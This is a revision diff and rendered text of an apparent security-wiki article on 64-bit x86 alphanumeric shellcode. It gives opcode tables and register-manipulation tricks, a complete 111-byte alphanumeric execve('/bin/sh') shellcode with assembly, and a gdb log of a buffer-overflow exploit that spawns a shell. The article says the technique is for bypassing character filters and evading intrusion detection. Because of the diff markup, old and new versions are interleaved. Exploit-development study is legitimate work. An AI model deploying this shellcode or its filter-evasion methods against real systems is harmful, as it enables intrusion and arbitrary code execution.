        # The first method to set the value of a
+
:%rsp
        # register is using push/pop.
+
|-
  
        # The following pushes are valid
+
|-
        # alphanumeric code:
+
|<center>'''='''</center>
 +
|<b>0x3cf</b>
 +
|
 +
:'''Calculated Offset from %rsp at time of overflow'''
 +
|-
 +
|}
  
        # pushw [word]          \x66\x68\x##\x##        fh??
+
==The Offset==
        # pushq [byte]          \x6a\x##                j?
+
* To prepare for '''xor''' and '''imul''' manipulations, 0x5a is placed into %rax and %rsp is moved into %rcx.
        # pushq [dword]        \x68\x##\x##\x##\x##    h????
+
{{code|text=<source lang="asm">
        #
+
         # Set %rcx as stack pointer
        # So we can tell from that we can push our own
+
         # and align %rsp
        # alphanumeric data in one byte, two byte, and  
+
         push $0x5a
        # four-byte quantities at once.
+
         push %rsp
        #
+
         pop %rcx
        # 64 bit registers:
+
         pop %rax
        # %r8-%r15, rax,rcx,rdx,rbx,rsp,rbp,rsi,rdi
+
</source>}}
        # 0x41[0x50-57]
+
* Preparing for imul, an '''xor''' is used to place 0x0f into %rax, then push %rax to the stack.
         #
+
{{code|text=<source lang="asm">
        # push %r8              \x41\x50                AP
+
         # Get magic offset and store in %rdi
         # push %r9              \x41\x51                AQ
+
         xor $0x55, %al
         # push %r10            \x41\x52                AR
+
         push %rax                      # 0x0f on the stack now.
         # push %r11            \x41\x53                AS
+
</source>}}
         # push %r12            \x41\x54                AT
+
         # push %r13            \x41\x55                AU
+
        # push %r14            \x41\x56                AV
+
        # push %r15            \x41\x57                AW
+
        #
+
        # We can see here quickly that the 'A' opcode is  
+
        # actually a prefix for the extended 64 bit CPU
+
        # registers.  We can tell that %r8-%r15 correspond
+
        # to registers %rax-%rdi when examining our next
+
        # push instructions:
+
        #
+
        # push %rax             \x50                    P
+
        # push %rcx            \x51                    Q
+
         # push %rdx            \x52                    R
+
        # push %rbx            \x53                    S
+
        # push %rsp            \x54                    T
+
        # push %rbp            \x55                    U
+
        # push %rsi            \x56                    V
+
        # push %rdi             \x57                    W
+
         #
+
        # 16 bit registers:
+
        # 0x66 or 'f' prefix:
+
        # %r8w-%r15w
+
        # %ax,%cx,%dx,%bx,%sp,%bp,%si,%di
+
         # example: \x41\x50, "push %r8" (AP)
+
        # becomes: \x66\x41\x50, "push %r8w" (fAP)
+
  
        # The following pops are alphanumeric:
+
* Because 0x41 * 0x0f = 0x3cf (975), the offset can be calculated in purely alphanumeric form.   Modify this as code distances itself from the stack pointer during an exploitThe offset is stored in %rdi after setting back the stack pointer.
        #  * Protip, the %r's take +1 byte
+
{{code|text=<source lang="asm">
        #
+
         pop %rax                       # add back to %esp
        # 64-bit registers:
+
         imul  $0x41, (%rcx), %edi      # %rdi = 0x3cf, a "magic offset" for us
        # %rcx, %rdx, %rax
+
</source>}}
        #
+
        # pop %rax              \x58                    X
+
        # pop %rcx              \x59                    Y
+
        # pop %rdx              \x5a                    Z
+
        #
+
        # * Use \x41 (A) prefix to access %r8-r10 e.g. AX
+
        #
+
        # 16 bit registers (using 0x66 or 'f'
+
        # [sometimes fA] prefix):
+
        # %cx, %dx, %ax, %r8w, %r9w, %r10w
+
        #
+
        # So, using push and pop we can set the values of
+
        # 6 fullsize CPU registers:
+
        # %rax, %rcx, %rdx, %r8, %r9, %r8
+
        #
+
        # Or get any values of 16 fullsize CPU registers
+
        # to the top of the stack:
+
        # %r8-%r15, %rax-%rdi
+
        #
+
        # Lets look quickly.  We've got 5 main registers
+
        # and 5 special 64 bit registers we can push but
+
        # not pop:
+
        # %rbx, %rsp, %rbp, %rsi, %rdi
+
        #
+
        # How can we write to those (or read their
+
        # sub-registers) using alphanumeric bytecode
+
        # instructions and operands only? We can also
+
        # presumably use any of the 6 full control
+
        # registers by our emulating for mov with push
+
        # and pop. Using only the registers we can
+
        # already access, we will attempt to get
+
        # instructions for our use to set values.
+
        #
+
        # We've identified our special register prefix,
+
        #      0x41, 'A'.
+
        # We've identified our word operand override,
+
        #      0x66, 'f'.
+
        #
+
        # Lets identify all the alphanumeric overrides and prefixes.
+
        # Notice these overrides are very similar to those for 32
+
        # bit platforms.
+
        #
+
        #      0x36, '6', %ss segment override.  Very handy.
+
        #      0x64, 'd', %fs segment override
+
        #      0x65, 'e', %gs segment override
+
        #
+
        #      0x66, 'f', 16 bit operand size
+
        #      0x67, 'g', 16 bit address size
+
        #
+
        #      0x41, 'A', 64 bit special register use (%r##)
+
        #      0x48, 'H', 64 bit register size override
+
        #
+
        #      0x40-4a, special 64 bit overrides
+
        #
+
        # Now is probably a good time to mention that the
+
        # opcodes used for popping a register can also be
+
        # used as 'register operands' for more advanced
+
        # instructions.  For example, take this xor
+
        # instruction:
+
        #      xor $0x[byte](%rax),%ebx
+
        #      "\x33\x58\x##"                  "3X?"
+
        #
+
        # The %rax register can be changed to %rcx or %rdx
+
        # using the 0x59 (Y) and 0x5a (Z) opcodes in place
+
        # of the 0x58 (X) opcode:
+
        #      xor $0x[byte](%rax),%ebx
+
        #      "\x33\x59\x##"                  "3Y?"
+
        #
+
        # Whenever there's a controllable register, we'll
+
        # use the notation {reg} so we'll recognize it as
+
        # an option.  In our bytecodes and string examples,
+
        # we will use a '?' in the bytecode itself and a
+
        # '*' to denote the register operand, for example:
+
        #      xor $0x[byte]({reg}),%ebx
+
        #      "\x33\x??\x##"                  "3*?"
+
        #
+
        # So start memorizing the opcodes for rax,rcx, and
+
        # rdx, and get it in your head that they'll be used
+
        # frequently.  When we run into multiple operands,
+
        # we'll use their operand number in the notation
+
        # for readability purposes.
+
        #
+
        # -Xor
+
        # -Imul
+
        # -Movslq
+
        #
+
        # Identifying the ways to set the rest of our
+
        # registers, while investigating %rbx, was not
+
        # entirely fruitful.  We do not get full control
+
        # over the %rbx register, however, we get write
+
        # access to sub-registers:
+
        #      %ebx, %bx, %bh, %bl
+
        # We can access these by using xor, imul, and
+
        # movslq instructions:
+
        #  -%ebx:
+
        #      xor $0x[byte]({reg}),%ebx     
+
        #      "\x33\x??\x##"                  "3*?"
+
        #
+
        #      imul $0x[dword1],0x[byte2]({reg}),%ebx
+
        #      "\x69\x??\x#2\x#1\x#1\x#1\x#1"  "i*21111"
+
        #
+
        #      imul $0x[byte1],0x[byte2]({reg}), %ebx
+
        #      "\x6b\x??\x#2\x#1"              "k*21"
+
        #
+
        #      movslq 0x[byte1]({reg}), %ebx
+
        #      "\x63\x??\x##                  "c*?"
+
        #
+
        # Note: if you want to access the %ss segment, put
+
        # the prefix at the beginning of the bytecode of
+
        # instructions (e.g. "63*?" in stead of "3*?").  If
+
        # you'd like to use the special 64 bit registers,
+
        # put 0x41 or "A" at the beginning of the bytecode.
+
        # if you need to use both, you must always use the
+
        # %ss segment register prefix first, e.g. '6A3*?'.
+
        #
+
        # Using one of our 64 bit force operators, we can
+
        # use any of those instructions on %ebx with an  
+
        # override to treat it as %rbx (in this case, 0x48).
+
        #
+
        # imul  $0x[byte1],0x[byte2]({reg}),%rbx
+
        #  "\x48\x6b\x??\x#2\x#1"              "Hk*21"
+
        #
+
        #  So all we really have to set the value of %rbx
+
        #  directly is imul, xor, and movslq.  It's similar
+
        #  for our other registers that we can't directly
+
        #  access yet, save for a couple.
+
        #
+
        #  Left over, we have %rsp, %rbp, %rdi, and %rsi.
+
        #  Lets take a closer look at xor.  Starting at
+
        #  0x30 and ending at 0x35 we have some pretty
+
        #  valuable xor commands:
+
        #
+
        #    0x34:        xor $0x##, %al
+
        #    0x35:        xor $0x########, %eax
+
        #    0x48 0x35 :  xor $0x########, %rax
+
        #
+
        #  0x30 is a multi-byte xor instruction.  Requiring
+
        #  at least two operands (even if register denote):
+
        #
+
        #  0x30 - xor %{16bit}, (%{64bit})
+
        #          xor %{16bit}, (%{64bit},%{64bit},1)
+
        #          xor %{16bit}, (%{64bit},%{64bit},2)
+
        #
+
        #          xor %{16bit}, 0x[byte](%{64bit})
+
        #          xor %{16bit}, 0x[byte](,%{64bit},1)
+
        #          xor %{16bit}, 0x[byte](,%{64bit},2)
+
        #
+
        #          xor %{16bit}, 0x[dword](%{64bit})
+
        #          xor %{16bit}, 0x[dword](,%{64bit},1)
+
        #          xor %{16bit}, 0x[dword](,%{64bit},2)
+
        #
+
        #  0x31 - xor %{32bit}, (%{64bit})
+
        #  0x31 is just as flexible as 0x30.  Didn't document
+
        # all permutations here due to brevity.
+
        #
+
        #  0x32 - xor (%{64bit}), %{16bit}
+
        #  0x32 is just as flexible, although the offsets will
+
        # change source side rather than destination side.
+
        #
+
        #  0x33 - xor (%{64bit}), %{32bit}
+
        #  0x33 is the opposite of 0x31.  Just as flexible.
+
        #
+
        #  Lets combine our knowledge of xor with our knowledge
+
        # of the stack.  When we push any data, our data is
+
        # accessible at %ss:(%rsp).  Knowing this, we can use
+
        # another register in our available space (e.g. %rcx)
+
        # to set values on some of our more difficult registers:
+
        #          %rbx, %rsp, %rbp, %rsi, %rdi
+
        #
+
        # First, we'll use push and pop to simulate 'mov':
+
        #
+
        #  \x54  push %rsp
+
        #  \x59  pop %rcx
+
        #  \x5a  pop %rax      (This just sets the pointer back)
+
        # Two xor parameters allow us to set the index registers,
+
        # %rsi and %rdi.  For now, we'll just zero them out:
+
        #
+
        #  \x56                push %rsi
+
        #  \x36\x48\x33\x31    xor %ss:(%rcx), %rsi
+
        #  \x41\x58            pop %r8       
+
        #
+
        #  \x57                push %rdi
+
        #  \x36\x48\x33\x39    xor %ss:(%rcx), %rdi
+
        #  pop %r8             
+
        # --------
+
        #
+
        # Now we've zeroed out %rsi and %rdi.  %r14 and %r15
+
        # special registers can also be pushed and zeroed out in
+
        # this fashion.  Now we have "full control" over:
+
         #  %rax, %rcx, %rdx, %rsi, %rdi, %r8, %r9, %r10, %r14,
+
        # and %r15.  We still need to gain full control over:
+
        #  %rsp, %rbp, %rbx, %r11, %r12, and %r13
+
        #
+
        #  Similar to push, we're going to require some sort of
+
        # controllable data before the setting of a register.
+
        # Where pop is concerned, we might require something to
+
        # be pushed to the stack first, in this case, we just
+
        # require a zero register.  Due to the way that xor
+
        # works, once we have a zero register at all, in this
+
        # case we will use %rax as our zero register, we can
+
        # use it to get %rbx, %rsp, and %rbp to zero if needed:
+
         #
+
        #  # %rbx:
+
        #  xor %ss:0x30(%rcx), %rax        # store that value in rax
+
        #  xor %rax, %ss:0x30(%rcx)        # Null that area of stack
+
        #  imul $0x30,%ss:0x30(%rax),%rbx # 0x30 * 0 = 0
+
        #  imul $0x30,%ss:0x30(%rax),%rbp  # 0x30 * 0 = 0
+
        #
+
        # Once the stack space, as well as the destination is set
+
        # to zero, we can effectively mov %rax, %rbp:
+
        #  36 48 31 41 30        xor    %rax,%ss:0x30(%rcx)
+
        #  36 48 33 69 30        xor    %ss:0x30(%rcx),%rbp
+
        #
+
        #  Our closest thing to incrementing and decrementing is
+
        # our ability to use the ins and outs instructions to
+
        # add or subtract 1,2, or 4 against the %rdi register.
+
        # This still leaves us with no significant add or sub,
+
        # we can use imul with 16 and 8 bit registers to find
+
        # division though.  We also have a magic mov; if %rsi is
+
        # not in use:
+
        #
+
        #  movsql %ss:0x30(%rcx), %rsi
+
        #  xor %rsi, %ss:0x30(%rsi)
+
        #
+
        #  This can come in quite handy when chunking large
+
        # pieces of data to 0.
+
  
 +
==The Syscall==
 +
* Now that the offset to an address in front of executing instructions has been obtained, 4 bytes must be nulled for the new instructions to be written:
 +
{{code|text=<source lang="asm">
 +
        movslq (%rcx,%rdi,1), %rsi
 +
        xor %esi, (%rcx,%rdi,1)
 +
</source>}}
  
== 64 Bit Alphanumeric execve('/bin/sh') - 120 bytes ==
+
* This next xor comes out to 0x0000050f, which when moved onto the stack becomes 0x0f050000.  0x0f05 is the machine code for a '''syscall'''.
===Code===
+
* Assembled:
+
  '''TYAXjZX4UPAXk9AHc49149hJG00X5EB00PAXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0AXWj0Hc9H39AXTH39jXX4c'''
+
 
{{code|text=<source lang="asm">
 
{{code|text=<source lang="asm">
 +
        push $0x3030474a
 +
        pop %rax
 +
        xor $0x30304245, %eax
 +
</source>}}
 +
 +
* The %rax register now contains 0x050f.  Put 0x0f050000 at (%rcx) - then set the stack pointer back.
 +
{{code|text=<source lang="asm">
 +
        push %rax
 +
        pop %rax                        # Garbage reg
 +
</source>}}
 +
 +
* A '''mov emulation''' is used to mov 0x0f05 from (%rcx) to %rcx + %rdi through the %rsi register, writing the syscall instructions:
 +
{{code|text=<source lang="asm">
 +
        movslq (%rcx), %rsi
 +
        xor %esi, (%rcx,%rdi,1)
 +
</source>}}
 +
 +
==Arguments==
 +
===Stack Space===
 +
* Zero out a '''qword''' of data starting at %rcx + 0x30 (48 in decimal)
 +
{{code|text=<source lang="asm">
 +
        # Allocate stack space
 +
        movslq 0x30(%rcx), %rsi
 +
        xor %esi, 0x30(%rcx)
 +
        movslq 0x34(%rcx), %rsi
 +
        xor %esi, 0x34(%rcx)
 +
</source>}}
 +
 +
===Register Initialization===
 +
* The %rdx, %rdi, and %rsi registers are used for the '''execve()''' syscall.  These are zeroed out to initialize their values using the stack space previously allocated.
 +
{{code|text=<source lang="asm">
 +
        # Zero rdx, rsi, and rdi
 +
        movslq 0x30(%rcx), %rdi
 +
        movslq 0x30(%rcx), %rsi
 +
        push %rdi
 +
        pop %rdx
 +
</source>}}
 +
 +
===String Argument===
 +
* '''/bin''' is placed onto the stack at the space allocated at %rcx + 0x30.
 +
{{code|text=<source lang="asm">
 +
        push $0x5a58555a
 +
        pop %rax
 +
        xor $0x34313775, %eax
 +
        xor %eax, 0x30(%rcx)
 +
</source>}}
 +
* '''/sh\0''' is placed onto the stack at the space allocated at %rcx + 0x34.
 +
{{code|text=<source lang="asm">
 +
        push $0x6a51475a
 +
        pop %rax
 +
        xor $0x6a393475, %eax
 +
        xor %eax, 0x34(%rcx)           
 +
</source>}}
 +
* '''xor''' is used as a '''mov emulation''' to place '/bin/sh\0' into %rdi.
 +
{{code|text=<source lang="asm">
 +
        xor 0x30(%rcx), %rdi
 +
</source>}}
 +
* Set the stack pointer back so %rsp = %rcx + 8 so that the push of %rdi does not overwrite (%rcx).  Push '/bin/sh\0'.
 +
{{code|text=<source lang="asm">
 +
        pop %rax
 +
        push %rdi
 +
</source>}}
 +
 +
===Final Registers===
 +
* %rsi and %rdx are '''0'''.  First, push a byte to meet the sign requirement for '''movslq''', then zero %rdi.
 +
{{code|text=<source lang="asm">
 +
        push $0x58
 +
        movslq (%rcx), %rdi
 +
        xor (%rcx), %rdi     
 +
</source>}}
 +
* Align %rsp and %rcx, then use a mov emulation to place %rsp into %rdi.  %rdi then contains a pointer to '/bin/sh\0'.
 +
{{code|text=<source lang="asm">
 +
        pop %rax
 +
        push %rsp
 +
        xor (%rcx), %rdi
 +
</source>}}
 +
* %rax is set to 59 or '''0x3b''' for the '''execve()''' syscall.
 +
{{code|text=<source lang="asm">
 +
        xor $0x63, %al
 +
</source>}}
 +
'''Final registers:'''
 +
* %rax = 0x3b
 +
* %rdi = pointer to '/bin/sh\0'
 +
* %rsi = null
 +
* %rdx = null
 +
 +
==Final Code==
 +
* x86_64 alphanumeric execve('/bin/sh',null,null) - 111 bytes:
 +
  '''jZTYX4UPXk9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394c'''
 +
{{info|Some assemblers prefer the '#' character to the ';' character for comments.  User may have to find and replace to get it to assemble properly.}}{{code|text=<source lang="asm">
 
         .global _start
 
         .global _start
 
         .text
 
         .text
 
_start:
 
_start:
         # Set %rcx as stack pointer  
+
         ; Set %rcx as stack pointer  
         # and align %rsp  
+
         ; and align %rsp  
 +
        push $0x5a
 
         push %rsp
 
         push %rsp
 
         pop %rcx
 
         pop %rcx
        pop %r8                        # garbage reg
 
 
        # Get magic offset and store in %rdi
 
        push $0x5a
 
 
         pop %rax
 
         pop %rax
 +
 +
        ; Get magic offset and store in %rdi
 
         xor $0x55, %al
 
         xor $0x55, %al
         push %rax                      # 0x0f on the stack now.
+
         push %rax                      ; 0x14 on the stack now.
         pop %r8                        # garbage reg.
+
         pop %rax                        ; add back to %esp
         imul  $0x41, (%rcx), %edi      # %rdi = 0x3cf, a "magic offset" for us
+
         imul  $0x41, (%rcx), %edi      ; %rdi = 0x3cf, a "magic offset" for us
                                         # This is decimal value 975.
+
                                         ; This is decimal value 975.
                                         # If this is too low/high, suggest a  
+
                                         ; If this is too low/high, suggest a  
                                         # modification to xor of %al for  
+
                                         ; modification to xor of %al for  
                                         # changing the imul results
+
                                         ; changing the imul results
  
         # Write our syscall  
+
         ; Write the syscall  
 
         movslq (%rcx,%rdi,1), %rsi
 
         movslq (%rcx,%rdi,1), %rsi
         xor %esi, (%rcx,%rdi,1)        # 4 bytes have been nulled
+
         xor %esi, (%rcx,%rdi,1)        ; 4 bytes have been nulled
 
         push $0x3030474a
 
         push $0x3030474a
 
         pop %rax
 
         pop %rax
 
         xor $0x30304245, %eax
 
         xor $0x30304245, %eax
 
         push %rax
 
         push %rax
         pop %r8                        # Garbage reg
+
         pop %rax                        ; Garbage reg
 
         movslq (%rcx), %rsi
 
         movslq (%rcx), %rsi
 
         xor %esi, (%rcx,%rdi,1)
 
         xor %esi, (%rcx,%rdi,1)
  
         # Sycall written, set values now.
+
         ; Sycall written, set values now.
         # allocate 8 bytes for '/bin/sh\0'
+
         ; allocate 8 bytes for '/bin/sh\0'
 
         movslq 0x30(%rcx), %rsi
 
         movslq 0x30(%rcx), %rsi
 
         xor %esi, 0x30(%rcx)
 
         xor %esi, 0x30(%rcx)
Line 1,125: Line 1,341:
 
         xor %esi, 0x34(%rcx)
 
         xor %esi, 0x34(%rcx)
 
          
 
          
         # Zero rdx, rsi, and rdi
+
         ; Zero rdx, rsi, and rdi
 
         movslq 0x30(%rcx), %rdi
 
         movslq 0x30(%rcx), %rdi
 
         movslq 0x30(%rcx), %rsi
 
         movslq 0x30(%rcx), %rsi
Line 1,131: Line 1,347:
 
         pop %rdx
 
         pop %rdx
  
         # Store '/bin/sh\0' in %rdi
+
         ; Store '/bin/sh\0' in %rdi
 
         push $0x5a58555a
 
         push $0x5a58555a
 
         pop %rax
 
         pop %rax
 
         xor $0x34313775, %eax
 
         xor $0x34313775, %eax
         xor %eax, 0x30(%rcx)            # '/bin'  just went onto the stack
+
         xor %eax, 0x30(%rcx)            ; '/bin'  just went onto the stack
  
 
         push $0x6a51475a
 
         push $0x6a51475a
 
         pop %rax
 
         pop %rax
 
         xor $0x6a393475, %eax
 
         xor $0x6a393475, %eax
         xor %eax, 0x34(%rcx)            # '/sh\0' just went onto the stack
+
         xor %eax, 0x34(%rcx)            ; '/sh\0' just went onto the stack
         xor 0x30(%rcx), %rdi            # %rdi now contains '/bin/sh\0'
+
         xor 0x30(%rcx), %rdi            ; %rdi now contains '/bin/sh\0'
  
         pop %r8
+
 
 +
         pop %rax
 
         push %rdi
 
         push %rdi
         push $0x30
+
 
 +
         push $0x58
 
         movslq (%rcx), %rdi
 
         movslq (%rcx), %rdi
         xor (%rcx), %rdi                # %rdi zeroed
+
         xor (%rcx), %rdi                ; %rdi zeroed
         pop %r8
+
         pop %rax
 
         push %rsp
 
         push %rsp
 
         xor (%rcx), %rdi
 
         xor (%rcx), %rdi
       
 
        push $0x58
 
        pop %rax
 
 
         xor $0x63, %al</source>}}
 
         xor $0x63, %al</source>}}
=== Successful Overflow Test ===
+
 
  [root@ares bha]# gdb -q bof
+
== Successful Overflow Test ==
 +
{{info|This [[shellcode]] was tested on a modified [[Buffer_Overflows#bof.c|bof.c]] to make the buffer 200 bytes in stead of 100 bytes, as the shellcode here exceeds the original buffer size.}}
 +
 
 +
  [user@host bha]# gdb -q ./bof
 
  Reading symbols from /home/hatter/bha/bof...(no debugging symbols found)...done.
 
  Reading symbols from /home/hatter/bha/bof...(no debugging symbols found)...done.
  (gdb) r `perl -e 'print  "TYAXjZX4UPAXk9AHc49149hJG00X5EB00PAXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0AXWj0Hc9H39AXTH39jXX4c" . "Y"x96 . "\x22\xec\xff\xff\xff\x7f";'`
+
  (gdb) r `perl -e 'print  "jZTYX4UPXk9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394c" . "Y"x105 . "\x26\xe7\xff\xff\xff\x7f";'`
  Starting program: /home/hatter/bha/bof `perl -e 'print  "TYAXjZX4UPAXk9AHc49149hJG00X5EB00PAXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0AXWj0Hc9H39AXTH39jXX4c"."Y"x96 ."\x22\xec\xff\xff\xff\x7f";'`
+
  Starting program: /home/hatter/bha/bof `perl -e 'print  "jZTYX4UPXk9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394c" . "Y"x105 .
  process 1056 is executing new program: /bin/bash
+
"\x26\xe7\xff\xff\xff\x7f";'`
  [root@ares bha]# uname -m
+
  process 28444 is executing new program: /bin/bash
 +
  [user@host bha]# uname -m
 
  x86_64
 
  x86_64
 +
[user@host bha]# exit
 +
exit
 +
[Inferior 1 (process 28444) exited normally]
 +
(gdb)
 +
{{exploitation}}{{programming}}{{social}}
 +
[[Category:Shellcode]]

Latest revision as of 17:28, 23 November 2012

Alphanumeric shellcode is similar to ascii shellcode in that it is used to bypass character filters and evade intrusion-detection during buffer overflow exploitation.
c3el4.png
This article documents alphanumeric code on multiple architectures, but primarily the 64 bit x86 architecture.
Alphanumeric shellcode requires a basic understanding of bitwise math, assembly and shellcode.


Special thanks to hatter for his contributions to this article.

Available x86_64 instructions

c3el4.png This chart contains 64-bit alphanumeric opcodes. 32-bit alphanumeric opcodes are available at the 32-bit ascii shellcode entry. When limited only to instructions that have corresponding ascii characters; programmers must emulate other required instructions using only the instructions available.


Numeric
ASCII Hex Assembler Instruction
0 0x30 xor %{16bit}, (%{64bit})
1 0x31 xor %{32bit}, (%{64bit})
2 0x32 xor (%{64bit}), %{16bit}
3 0x33 xor (%{64bit}), %{32bit}
4 0x34 xor [byte], %al
5 0x35 xor [dword], %eax
6 0x36  %ss segment register
7 0x37 Bad Instruction!
8 0x38 cmp %{16bit}, (%{64bit})
9 0x39 cmp %{32bit}, (%{64bit})
Uppercase
ASCII Hex Assembler Instruction
A 0x41 64 bit reserved prefix
B 0x42 64 bit reserved prefix
C 0x43 64 bit reserved prefix
D 0x44 64 bit reserved prefix
E 0x45 64 bit reserved prefix
F 0x46 64 bit reserved prefix
G 0x47 64 bit reserved prefix
H 0x48 64 bit reserved prefix
I 0x49 64 bit reserved prefix
J 0x4a 64 bit reserved prefix
K 0x4b 64 bit reserved prefix
L 0x4c 64 bit reserved prefix
M 0x4d 64 bit reserved prefix
N 0x4e 64 bit reserved prefix
O 0x4f 64 bit reserved prefix
P 0x50 push %rax
Q 0x51 push %rcx
R 0x52 push %rdx
S 0x53 push %rbx
T 0x54 push %rsp
U 0x55 push %rbp
V 0x56 push %rsi
W 0x57 push %rdi
X 0x58 pop %rax
Y 0x59 pop %rcx
Z 0x5a pop %rdx


Lowercase
ASCII Hex Assembler Instruction
a 0x61 Bad Instruction!
b 0x62 Bad Instruction!
c 0x63 movslq (%{64bit}), %{32bit}
d 0x64 %fs segment register
e 0x65  %gs segment register
f 0x66 16 bit operand override
g 0x67 16 bit ptr override
h 0x68 push [dword]
i 0x69 imul [dword], (%{64bit}), %{32bit}
j 0x6a push [byte]
k 0x6b imul [byte], (%{64bit}), %{32bit}
l 0x6c insb (%dx),%es:(%rdi)
m 0x6d insl (%dx),%es:(%rdi)
n 0x6e outsb %ds:(%rsi),(%dx)
o 0x6f outsl %ds:(%rsi),(%dx)
p 0x70 jo [byte]
q 0x71 jno [byte]
r 0x72 jb [byte]
s 0x73 jae [byte]
t 0x74 je [byte]
u 0x75 jne [byte]
v 0x76 jbe [byte]
w 0x77 ja [byte]
x 0x78 js [byte]
y 0x79 jns [byte]
z 0x7a jp [byte]

Alphanumeric opcode compatibility

Intercompatible opcodes are important to note due to the fact that many opcodes overlap and thus, writing shellcode that will run on both 32 bit and 64 bit x86 platforms becomes possible.

Alphanumeric inter-compatible x86 opcodes

This chart was derived by cross referencing available 64 bit instructions with available 32 bit instructions.

Intercompatible x86* Alphanumeric Opcodes
Hex ASCII Assembler Instruction
0x64, 0x65 d,e [fs | gs] prefix
0x66, 0x67 f,g 16bit [operand | ptr] override
0x68, 0x6a h,j push
0x69, 0x6b i,k imul
0x6c-0x6f l-o ins[bwd], outs[bwd]
0x70-0x7a p-z Conditional Jumps
0x30-0x35 0-5 xor
0x36 6  %ss segment register
0x38-0x39 8,9 cmp
0x50-0x57 P-W push *x, *i, *p
0x58-0x5a XYZ pop [*ax, *cx, *dx]

Because not all opcodes are intercompatible, yet comparisons and conditional jumps are intercompatible, it is possible to determine the architecture of an x86 processor using exclusively alphanumeric opcodes. The opcodes which are specifically not compatible are limited to the 64 bit special prefixes 0x40-0x4f, which allow for manipulation of 64 bit registers and 8 additional 64 bit general purpose registers, %r8-%r15. By making use of these additional registers (which 32 bit processors do not have), one can perform an operation that will set a value on a different register in the two processors. Following this, a conditional statement can be made against one of the two registers to determine if the value was set. Using the pop instruction is the most effective way to set the value of a register due to instructional limitations. Using an alternative register to %rsp or %esp as the stack pointer enables the use of an effective conditional statement to determine if the value of a register is equal to the most recent thing pushed or popped from the stack.

15 byte architecture detection shellcode

c3el4.png This bytecode does not have a conditional jump. The reader may add this for customization based on the size and architecture of the payload that occurs after this snippet.

This simple alphanumeric bytecode is 15 bytes long, ending in a comparison which returns equal on a 32 bit system and not equal on a 64 bit system. The conditional jump may be best reserved for the t and u instructions, jump if equal and jump if not equal, respectively.

  • Assembled:
TX4HPZTAZAYVH92
  • Disassembly:
[root@ares bha]# objdump -d xarch32.o

xarch32.o:     file format elf32-i386

Disassembly of section .text:
00000000 <_start>:
   0:   54                      push   %esp
   1:   58                      pop    %eax
   2:   34 48                   xor    $0x48,%al
   4:   50                      push   %eax
   5:   5a                      pop    %edx
   6:   54                      push   %esp
   7:   41                      inc    %ecx
   8:   5a                      pop    %edx
   9:   41                      inc    %ecx
   a:   59                      pop    %ecx
   b:   56                      push   %esi
   c:   48                      dec    %eax
   d:   39 32                   cmp    %esi,(%edx)
[root@ares bha]# # Returns not-equal on a 64 bit system:
[root@ares bha]# objdump -d xarch64.o

xarch64.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <_start>:
   0:   54                      push   %rsp
   1:   58                      pop    %rax
   2:   34 48                   xor    $0x48,%al
   4:   50                      push   %rax
   5:   5a                      pop    %rdx
   6:   54                      push   %rsp
   7:   41 5a                   pop    %r10
   9:   41 59                   pop    %r9
   b:   56                      push   %rsi
   c:   48 39 32                cmp    %rsi,(%rdx)

On a 64-bit system, this will not cause a segfault because (%rdx) points to somewhere inside the stack. Also notice that while this was assembled as a Linux-based ELF executable, the Operating System should not matter, as this stays within the confines of legal instructions for any x86 CPU that should not cause an access violation.

Alphanumeric x86_64 register value and data manipulation

Given the limited set of instructions for alphanumeric shellcode, its important to note different methods to manipulate different registers within the confines of the limited instruction set. Identifying these leads to mov emulations, which make up most of the actual code.

Push: alphanumeric x86_64 registers

Alphanumeric data can be pushed in one-byte, two-byte, and four-byte quantities at once.


One-byte, two-byte, and four-byte quantities
Assembly Hexadecimal Alphanumeric ASCII
pushw [word] \x66\x68\x##\x## fh??
pushq [byte] \x6a\x## j?
pushq [dword] \x68\x##\x##\x##\x## h????


Pushing the 64 bit registers RAX-RDI is done using a single upper case P-W (\x50-\x57) dependent on which register is being pushed. Prefixing with "A" (for general registers R8-R15) or "f" for 16 bit registers (AX-DI) gives access to push 32 registers using alphanumeric shellcode.


Push: X86_64 Extended Registers
Assembly Hexadecimal Alphanumeric ASCII
push %rax \x50 P
push %rcx \x51 Q
push %rdx \x52 R
push %rbx \x53 S
push %rsp \x54 T
push %rbp \x55 U
push %rsi \x56 V
push %rdi \x57 W


For the general registers R8-R15 "A" is prefixed to the corresponding RAX-RDI register push.


Push: X86_64 General Registers
Assembly Hexadecimal Alphanumeric ASCII
push %r8 \x41\x50 AP
push %r9 \x41\x51 AQ
push %r10 \x41\x52 AR
push %r11 \x41\x53 AS
push %r12 \x41\x54 AT
push %r13 \x41\x55 AU
push %r14 \x41\x56 AV
push %r15 \x41\x57 AW


For the 16 bit registers AX-DI "f" is prefixed to the corresponding RAX-RDI register push.


Push: X86_64 16 bit Registers
Assembly Hexadecimal Alphanumeric ASCII
push %ax \x66\x50 fP
push %cx \x66\x51 fQ
push %dx \x66\x52 fR
push %bx \x66\x53 fS
push %sp \x66\x54 fT
push %bp \x66\x55 fU
push %si \x66\x56 fV
push %di \x66\x57 fW


For the 16 bit general registers R8B-R15b "f" is prefixed to the corresponding R8-R15 register push.


Push: X86_64 16 bit General Registers
Assembly Hexadecimal Alphanumeric ASCII
push %r8w \x66\x41\x50 fAP
push %r9w \x66\x41\x51 fAQ
push %r10w \x66\x41\x52 fAR
push %r11w \x66\x41\x53 fAS
push %r12w \x66\x41\x54 fAT
push %r13w \x66\x41\x55 fAU
push %r14w \x66\x41\x56 fAV
push %r15w \x66\x41\x57 fAW

Pop: alphanumeric x86_64 registers

